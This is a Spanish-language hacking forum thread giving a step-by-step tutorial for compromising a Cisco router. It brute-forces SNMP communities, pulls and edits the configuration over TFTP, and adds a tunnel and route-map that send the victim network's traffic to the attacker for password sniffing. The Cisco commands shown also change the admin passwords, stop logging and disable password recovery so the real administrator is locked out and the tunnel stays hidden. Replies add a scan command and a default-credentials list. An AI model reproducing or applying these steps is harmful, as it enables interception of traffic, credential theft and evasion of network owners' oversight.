Y desde el Router... Qué? (Parte II)

Todo sobre seguridad, exploits, vulnerabilidades, bug's, etc.

Moderador: Moderadores

Y desde el Router... Qué? (Parte II)

Notapor Vic_Thor » Jue Jul 15, 2010 3:05 am

En este post vamos a escenificar cómo crear un túnel entre el router “víctima” y el router del atacante tal y como “se prometió” en su día y hacer pasar todo el tráfico (o sólo el que nos interese) por ese túnel para que el supuesto atacante capture los datos.

Se supone que conocemos la ip pública de la víctima, o bien, hemos realizado un scan + OSFingerprinting de una ip o rango de ip’s.

Concretamente vamos a buscar routers cisco, que son más fáciles de crear los túneles que en otros… aunque parezca mentira.

También puede ocurrir que ya sepamos de antemano que determinada ip/red utiliza este tipo de routers.

Una vez localizada la IP, como es mi caso, nos hacemos un pequeño gráfico de cómo es la cosa:

Imagen

Por el momento sólo conocemos la IP pública de nuestra víctima: 193.251.1.17

Y nuestros datos, claro….

Vale, pues seguimos suponiendo… podríamos probar los password y usuarios por defecto, podríamos lanzar un ataque por diccionario, o también…. Lo que vamos a realizar.

Vamos a intentarlo, no vaya ser que por una de esas casualidades de la vida (que no es tan casual, mas bien en muy habitual) tiene activado la administración por SNMP.

El protocolo SNMP puede permitir a los administradores gestionar los dispositivos, y ciertamente, muchos de los routers, Webcams, etc… que hay desperdigados por Internet tienen habilitado ese protocolo, en muchas ocasiones (mas de las que deberían ser) los propietarios de esos “aparatos” se limitan a utilizar una comunidad privada y no dotan de seguridad al protocolo SNMP, mejor dicho, al servicio SNMP.

Es bastante habitual encontrarnos comunidades “public” de sólo lectura (RO) y comunidades privadas (la-que-sea) de lectura-escritura (RW)

Tanto si es de sólo lectura o de lectura-escritura, los datos que arrojan de verdad que asustan… podemos ver la configuración “casi total” del router, en este caso.

Veremos sus interfaces, ips, tablas de enrutamiento, incluso hasta las reglas y filtros aplicados, vamos… un peligro.

Para llevar a cabo este “ataque” debemos ser capaces de “cambiar” la configuración del router, es decir, o sabemos la contraseña y/o usuario de acceso, o podemos “tirar” del servicio SNMP si está habilitado (y mal configurado),

Vamos a usar este segundo apartado, SNMP. Y para que podamos modificar su configuración es preciso encontrar una comunidad SNMP de lectura-escritura, no nos vale la de sólo lectura… queremos modificar.

Pues venga… a ello… ya hemos dicho que “de la forma que sea” conocemos que la IP 193.251.1.17 es de un router cisco, y antes de liarnos con el tema SNMP probaremos unas cuantas contraseñas de acceso (las típicas por defecto)



Pues no hemos tenido suerte… vamos a ver si SNMP está funcionando….



Correcto! SNMP aparece como Abierto-Filtrado y aparentemente debe estar “por detrás” funcionando el servicio.

Ahora debemos probar si eso que aparecía en el vídeo anterior era un falso positivo o si de verdad existe ese servicio corriendo en el router… probemos con alguna de las herramientas para la enumeración SNMP.



Hombre… como ves hay mucha información… claro que he probado con la comunidad public que habitualmente está….

Pero…

y si no sabemos que comunidades están definidas?

Y si la comunidad public es de sólo lectura?

Pues vamos a realizar un ataque por diccionario al servicio SNMP y con suerte… lo tendremos.

Vamos al vídeo:



He usado metasploit Framework…. Hay otras muchas posibilidades pero esta es sencilla y efectiva.

Como has visto en el vídeo, se usa un diccionario, obviamente puedes/debes usar “otro” más completo, pero con este nos sirvió por el momento…

Descubrimos que existen dos comunidades una que se llama public y otra que se llama empresa.

Ahora vamos a comprobar si alguna de ellas es de lectura-escritura



Listo!!! Ya tenemos el nombre de la comunidad con permisos de lectura-escritura.

Ahora ya podemos (o intentaremos) descargarnos la configuración del router víctima a nuestro PC, luego la modificaremos para crear el tunel, y por último se la subiremos de nuevo a la vícitma.

Cómo??? Pues mediante TFTP.

Por defecto todos los routers cisco traen habilitado el cliente TFTP para poder actualizar tanto la IOS (El Sistema operativo) como el archivo de configuración… Lo único que tenemos que hacer es poner en marcha un servidor TFTP en nuestro equipo y “traer o llevar los archivos”

Podríamos hacerlo “a mano” recorriendo la MIB y modificando los valores para copiar lo que nos interese… pero estos chicos de Backtrack han pensado en todo y ya nos incorporan el programita que lo hace por nosotros.

Lo único que tenemos que hacer es permitir en nuestro router que “pase” el protocolo TFTP hacia nuestro PC. Como eso es de nuestra propiedad lo podemos hacer sin mas.

Lo que debemos saber es nuestra IP pública (86.32.4.51) el puerto que usa TFTP (69 de udp) y la máquina que corre el servidor (172.28.0.66) y con esto, hacemos NAT en nuestro router…



Una vez hecho el “mapeo” de puertos hacia la máquina local del atacante, vamos a lanzar el programa para obtener el tan ansiado archivo de configuración



Pues ya lo tenemos… ahora hay que configurarlo…. Lo que vamos a hacer es esto:

CREAR EL TUNEL

Código: Seleccionar todo
   interface Tunnel0
      ip address 192.268.200.1 255.255.255.0
      ip nat inside
      tunnel source 193.251.1.17
      tunnel destination 86.32.4.51


Creamos una interface virtual del túnel con IP 192.168.200.1, hacemos nat interno en esta interface, y le decimos que el origen del tunel es la IP pública de la víctima y que el destino del túnel es la IP pública del atacante.

Estarás pensando que esto “es arriesgado” puesto que si el admin. de la víctima “mira” el archivo de configuración nos pilla… pues sip-.—pero esto lo arreglaremos después ;)

CREAR UNA LISTA DE ACCESO QUE PERMITA PASAR EL TRÁFICO QUE NOS INTERESE. EN NUESTRO CASO TODO EL TRÁFICO.

Código: Seleccionar todo
   access-list 166 permit ip any any


A esto sin comentarios… eso que pase TODO

CREAR UNA NUEVA RUTA ESTÁTICA PARA PODERNOS COMUNICAR LAN-to-LAN

Código: Seleccionar todo
ip route 172.28.0.0 255.255.255.0 192.168.200.2


Con esto le indicamos al router que para ir “a la red del atacante” debe hacerlo por la IP 192.168.200.2

Y esa IP??? De quien es??? Pues obviamente en el router del atacante debemos crear “el otro extremo del túnel” y lógicamente pondremos que la ip es 192.168.200.2.

Y haremos algo parecido… ip route 192.168.1.0 255.255.255.0 192.168.200.1

Es decir, la comunicación entre las dos redes locales se hace por la interface del tunel del otro extremo.

Obviamente, el atacante, tendrá que tomar “sus precauciones” para que el tráfico hacia su red iniciado por los equipos de la red vícitma sea denegado y que sólo permita la entrada de aquello que el atacante haya iniciado… porque sino…. El cazador cazado.

CREAR UN MAPA DE RUTEO

Código: Seleccionar todo
   route-map enviar permit 10
      match ip address 166
      set ip next-hop 192.168.200.2


Veamos, creamos una “mapa de rutas” y le asignamos el nombre enviar (puede ser cualquier otro, claro) con número 10 (esto no es importante, pero que no esté repetido) y le decimos que permita (permit) aquello que diga la lista de acceso 166 (recuerda que era TODO) y… esto es importante… el tráfico será desviado a la IP 192.168.200.2

Por sí mismo el comando route-map “no hace nada”, nada hasta que se aplica a una interface determinada mediante otro comando llamado ip policy route-map que aplica las políticas de enrutamiento a la interface adecuada.

Una cosa IMPORTANTE acerca del comando ip policy route-map

En los routers CISCO las políticas de enrutamiento se aplican sobre una interface… eso ya lo dije, pero sólo tienen efecto en el tráfico de ENTRADA!!!!!

Es decir, si aplicamos el comando ip policy route-map enviar sobre la interface pública… que ocurrirá???

Pues que si todo es como lo explicado, el tráfico de entrada a esta interface se reenviará por el túnel al atacante…dicho de otro modo… imagina que un equipo de esa red navega hacia el foro de Wadalbertia… ¿qué recogerá el esnifer del atacante? Pues el tráfico que envíe el Server de wadalbertia y no el tráfico que sale de la red de la víctima.

Si por el contrario esa politica de rutas la aplicamos en la interface privada de la red de la víctima, el esnifer del atacante recibirá las peticiones de esa red pero no las respuestas.

Obviamente… las aplicamos en las dos interfaces y ya está, no? Así podremos recibir el tráfico de entrada y de salida, verdad?

Bueno, pues sí y no… dependerá también del otro extremo (el del atacante) puesto que éste tendrá que reenviar ya sean las respuestas o las peticiones…

En este ejemplo lo haremos únicamente para el tráfico que sale de la red vícitima hacia Internet… ya te dejo para ti el resto…. Con esto podremos, por ejemplo, cazar contraseñas, etc… ya lo veremos, pues eso el siguiente paso será:

APLICAR ROUTE-MAP SOBRE LA INTERFACE ADECUADA

Código: Seleccionar todo
Interface FastEthernet1/0
      ip policy route-map enviar


Obviamente, la interface f1/0 es la interface Ethernet (FastEthernet) que conecta la red privada al router.

CAMBIAR LA CONTRASEÑA DE ADMINISTRACIÓN y MASSSSSS

Código: Seleccionar todo
enable secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
   username admin secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
   no logging 192.168.1.88
   no snmp-server community public RO
   no snmp-server community empresa RW
   no service password-recovery


a ver… primero esto de: $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0 no es otra cosa que una nueva contraseña… en este caso papito:30-60-90

y lo que hacemos es cambiar la contraseña de acceso al router del modo privilegiado (la del administrador) por esa nueva (así el verdadero admin. no podrá ver el túnel)

También aplicamos la misma contraseña a la base de datos local que usaba TELNET (de ese modo tampoco podrá acceder por Telnet al router)

Al echar un vistazo a la configuración original del router, encontramos una línea que dice logging 192.168.1.88 eso no es bueno… eso quiere decir que “aparentemente” existe una máquina en esa red (la 192.168.1.88) que actúa como syslog y recogerá alertas, alarmas, etc… si es así… nos habrán pillado… por tanto si no estamos muy seguros… casi sería mejor dejarlo aquí… pero bueno.. quedáis advertidos.

El caso es que deshabilitamos el envío de logs al servidor.

Desactivamos snmp (mediante las líneas no snmp etc….) de es modo tampoco podrá administrar el router vía snmp (y así no podrá ver el tunel)

Aunque pensándolo mejor, esto no lo haremos ahora... puesto que si nos falla algo... y desactivamos snmp.... pues no podremos volver a copiar la configuración... mejor no lo haremos... luego.... mas tarde....

Y la última… la última es una “maldad

Los routers cisco disponen de un mecanismo de recuperación de contraseñas “de emergencia” sin perder el archivo de configuración, de ese modo si el admin. “pierde” la contraseña, se le olvida (o se la cambian como es este caso), puede iniciar ese procedimiento de emergencia, y si lo hace… pondrá la contraseña que el quiera y podrá ver nuestra querida ip del tunel… y nos habrá pillado.

Bueno, pues con esa línea: no service password-recovery, si el admin. intenta el procedimiento de recuperación de contraseñas…. Pues PERDERÁ el archivo de configuración y por tanto (además de tener que reconfigurar el router) no podrá ver lo que le hicimos.

Claro… esto último no tiene sentido si no “salvamos” el archivo de configuración en el router victima… de momento todo esto que estamos haciendo tendrá validez mientras no reinicien el router… si lo reinician… pues se pierde todo y como si nada… aquí no pasó nada… También nos ocuparemos de eso… o no… depende….

Bien, creo que no me dejo nada… veamos el vídeo que pone en marcha todo esto: (recordad que ya tenemos en nuestro poder el archivo de configuración)

En este vídeo suponemos que ya hemos escrito todos esos comandos en el archivo de configuración (para no alargar mucho el vídeo) tan sólo vamos a ver en el vídeo la comprobación que todo está como se explicó anteriormente.



ya hemos visto en el vídeo que se aplicaron todas esas modificaciones ya comentadas… y alguna mas como el nombre del router, el banner de bienvenida, desactivar los mensajes de tiempos y marcas horarias.

Ahora nos queda “subirlo” al router víctima



Bueno… parece que dio un error, lo explico.

Si el atacante hubiese creado el túnel apropiadamente no tendría que dar tal error… recuerdas lo del ip policy????

Pues claro, como lo aplicamos… recibimos sus peticiones pero no las respuestas… pero debería haber funcionado OK-

Para comprobarlo… pues como “sabemos” la contraseña (la hemos creado “al gusto”) que es papito:30-60-90 podremos hacer Telnet al router…

A ver si es cierto y de paso… cambiaremos el nombre de las comunidades (para que no pueda acceder por SNMP el admin del router) y si queremos (si hemos activado no service password-recovery) pues podríamos guardar definitivamente la configuración y así disponer del túnel de forma indefinida….

Esto último no lo haré… bueno sí lo haré pero NO DEBERÍA hacerlo puesto que esta IOS no permite ese comando… lo vamos a ver en el vídeo.

También cambiaré la base de datos local para no tener que escribir “dos veces” la famosa contraseña… crearé un usuario llamado Vic_Thor con contraseña mitesoro con privilegios administrativos.



Como has visto en el vídeo este router no nos permite el comando service password-recovery, por tanto no habría sido conveniente el guardar la configuración… se hizo… mal hecho, desde luego.

Bien, ahora toca configurar el router del atacante…que dispone también de un router CISCO (nada mejor para “juankear” un Cisco que otro Cisco)

Prácticamente es todo igual, excepto algunas cosillas, por ejemplo que el route-map NO debe ir hacia la red de la victima (a menos que quieras convertirte en víctima y verdugo) debe “apuntar” hacia una máquina del atacante y que ésta reenvie el tráfico.

Por lo demás, es muy, muy parecido… a ello:

ojo!! este vídeo se para... algo hice mal.... así que cuando se pare, le dais de nuevo al play para que siga




Como has visto es “casi lo mismo” crear el tunel, la lista de acceso, el mapa de rutas, etc… Solo que en esta ocasión en lugar de aplicar la politica de ruteo en la interface privada o pública lo hacemos sobre la interface de tunnel y por supuesto, el siguiente salto será la máquina que corre el esnifer… luego desde esa máquina reenviaremos el tráfico.

También advierte que los parámetros cambian, donde antes era el destino ahora es el origen y viceversa. Veamos lo que hay que hacer en la máquina del atacante y después probaremos….



Y ahora probamos…. Un Windows de la red vícitma accede a google…..



Y por útltimo… vamos a ver si cazamos algo “interesante”

Supongamos que la víctima accede a wadalbertia… y se identifica en el foro…. Conseguiremos la contraseña???

Pues como muestra….



Pues eso… creo que por hoy también vale ya….

PD: Como veras… las ips publicas son verdaderas… o no…. Jejeje, no las busques que no están disponibles, todo esto es real…pero todo está virtualizado, por ello no fue preciso en esta ocasión “difuminar” a víctimas y atacantes, los routers “reales” no son esos.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router... Qué? (Parte II)

Notapor Vic_Thor » Jue Jul 15, 2010 3:07 am

PD 2: Ya me pongo yo el pos-it!!! jeje, vanidoso que es uno....
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router... Qué? (Parte II)

Notapor jochy » Jue Jul 15, 2010 7:05 pm

Saludos Vic_Thor.
Excelente hombre, sin palabras.
Ya lo he leido completo, ahora a armar el escenario (o buscarlo por ahi :))

Gracias nuevamente.

P.D: por cierto hay un video donde no se ve el comando completo, para los que no lo tengan es:
Código: Seleccionar todo
./snmpcheck -t ip_router_victima -w -c public
jochy
:-D
:-D
 
Mensajes: 120
Registrado: Vie Mar 27, 2009 4:04 am

Re: Y desde el Router... Qué? (Parte II)

Notapor Vic_Thor » Lun Ago 23, 2010 1:43 am

Os paso los enlaces de todos los vídeos (hasta ahora) por si se pierden...

Parte 1: http://www.megaupload.com/?d=NMPMSFGA

Parte 2: http://www.megaupload.com/?d=X0A0QYTE

Parte 3: http://www.megaupload.com/?d=0YE9P7E1

Parte 4: http://www.megaupload.com/?d=AW396I02

Contraseña para descomprimir: El_Lider_DWFP
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el Router... Qué? (Parte II)

Notapor niknaiz » Mié Oct 27, 2010 10:24 am

Al hilo del primer vídeo donde probar claves estándar, os dejo esta página donde vienen un montón de routers con sus users y pass.
http://www.phenoelit-us.org/dpl/dpl.html
Lo mismo alguien las automatiza :roll:
Avatar de Usuario
niknaiz
:-D
:-D
 
Mensajes: 63
Registrado: Lun Ago 09, 2010 9:49 am


Volver a Seguridad

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 2 invitados

cron